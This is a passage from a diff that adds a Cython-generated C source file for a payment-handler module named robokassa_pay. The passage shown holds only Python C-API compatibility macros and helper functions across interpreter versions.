(minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__robokassa_pay +#define __PYX_HAVE_API__handlers__payments__robokassa_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > 